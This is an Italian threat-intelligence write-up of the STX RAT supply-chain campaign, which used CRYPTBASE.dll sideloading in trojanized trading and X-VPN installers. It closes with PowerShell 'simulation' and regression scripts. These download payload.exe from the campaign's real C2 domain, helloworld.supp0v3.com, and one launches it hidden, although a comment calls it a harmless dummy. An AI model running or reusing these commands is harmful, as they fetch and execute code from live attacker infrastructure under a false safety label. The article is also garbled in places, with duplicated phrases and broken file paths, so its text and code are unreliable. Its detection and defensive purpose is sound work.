Da Portafogli Crypto a una VPN da 100M Utenti: All’interno di una Campagna Attiva di Supply Chain STX RAT

Sommario

I ricercatori hanno scoperto una campagna di supply chain attiva in cui un attore di minaccia ha abusato del sideloading DLL con un CRYPTBASE.dll dannoso CRYPTBASE.dll per distribuire il trojan ad accesso remoto STX RAT attraverso installer trojanizzati per software di trading di criptovalute e il client X-VPN. L’operazione si basava su un singolo repository Bitbucket per distribuire i pacchetti infetti e ruotava i domini di comando e controllo sotto la radice supp0v3.com . Attaccando sia gli utenti di strumenti di scambio finanziario sia un servizio VPN ampiamente utilizzato, gli attaccanti si sono posizionati per rubare credenziali e altri dati sensibili su larga scala. I contenuti di rilevamento sono stati aggiornati per coprire il metodo di sideloading condiviso e l’infrastruttura comune.

Indagine

Gli analisti hanno identificato 11 pacchetti dannosi che utilizzavano tutti la stessa catena di sideloading per caricare STX RAT direttamente in memoria. Gli installer trojanizzati erano ospitati in un repository Bitbucket chiamato CRYPTBASE.dll catena di sideloading per caricare STX RAT direttamente in memoria. Gli installer trojanizzati erano ospitati in un repository Bitbucket chiamato amos-trading, e i metadati dei commit hanno collegato l’attività all’alias Leda Elacoate. Dopo l’esposizione pubblica, gli operatori hanno ruotato l’infrastruttura da helloworld.supp0v3.com to welcome.supp0v3.com. L’analisi YARA ha confermato che STX RAT era il payload finale in ogni campione esaminato.

Mitigazione

X-VPN ha affrontato il problema nella versione Windows 77.5.3, che applica un caricamento DLL rigoroso da directory di sistema, esegue la convalida dell’hash DLL all’avvio e applica politiche di caricamento per processo. Bloccare supp0v3.com e i suoi sottodomini al perimetro della rete può interrompere il traffico di comando e controllo. Le organizzazioni dovrebbero anche rafforzare l’igiene del download del software e limitare le installazioni a fonti di fornitori verificate.

Risposta

I difensori dovrebbero avvisare su qualsiasi processo che carica CRYPTBASE.dll da un percorso non di sistema e indagare su segni di esecuzione STX RAT in memoria. La regola YARA STX RAT pubblicata dovrebbe essere distribuita sulle piattaforme EDR, e il traffico HTTPS in uscita verso supp0v3.com dovrebbe essere monitorato da vicino. Tutti i terminali dovrebbero essere aggiornati alla versione X-VPN patchata o avere il software vulnerabile rimosso. La caccia alle minacce dovrebbe anche concentrarsi sul comportamento di caricamento del codice riflessivo associato alla catena di decompressione multi-stadio del malware.

Esecuzione di simulazione

Prerequisito: Il controllo pre-volo del Telemetry & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione dell’attacco e comandi:

  Un attaccante che ha compromesso un account utente a basso privilegio usa un one-liner di PowerShell per scaricare un payload dannoso dal server C2 helloworld.supp0v3.com. Questo sfrutta T1071.001 (protocollo Web C2) e T1204.002 (esecuzione da parte dell’utente) mentre il payload stesso è offuscato (T1027, T1027.009) e mascherato come eseguibile legittimo (T1036.005/008). La connessione in uscita al dominio dannoso dovrebbe essere catturata dai log del firewall e conseguentemente attivare la regola Sigma.

  # Scaricare payload dannoso dal dominio C2 Supp0v3
  $url = "http://helloworld.supp0v3.com/payload.exe"
  $out = "$env:TEMPpayload.exe"
  Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out
  
  # Eseguire il payload (simulato – crea solo un file dummy)
  Start-Process -FilePath $out -WindowStyle Hidden

• Script di test di regressione:

  # TC-20260609-A1B2C – Simulare connessione C2 STX RAT a helloworld.supp0v3.com
  try {
      # Step 1: Preparare payload dummy (evitare esecuzione di malware reale)
      $payloadPath = "$env:TEMPpayload.exe"
      Set-Content -Path $payloadPath -Value "Questo è un eseguibile dummy per il test." -Encoding ASCII
  
      # Step 2: Simulare richiesta HTTP in uscita al dominio dannoso
      $c2Url = "http://helloworld.supp0v3.com/payload.exe"
      Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath
  
      # Step 3: "Eseguire" il payload (nessuna esecuzione reale per sicurezza)
      Write-Host "Esecuzione del payload simulata a $payloadPath"
  
      Write-Host "Simulazione completata – controllare SIEM per avvisi."
  }
  catch {
      Write-Error "Simulazione fallita: $_"
  }

• Comandi di pulizia:

  # Rimuovere il payload dummy e qualsiasi file residuo
  $payloadPath = "$env:TEMPpayload.exe"
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "File del payload pulito."
  }
  else {
      Write-Host "Nessun file del payload trovato – nulla da pulire."
  }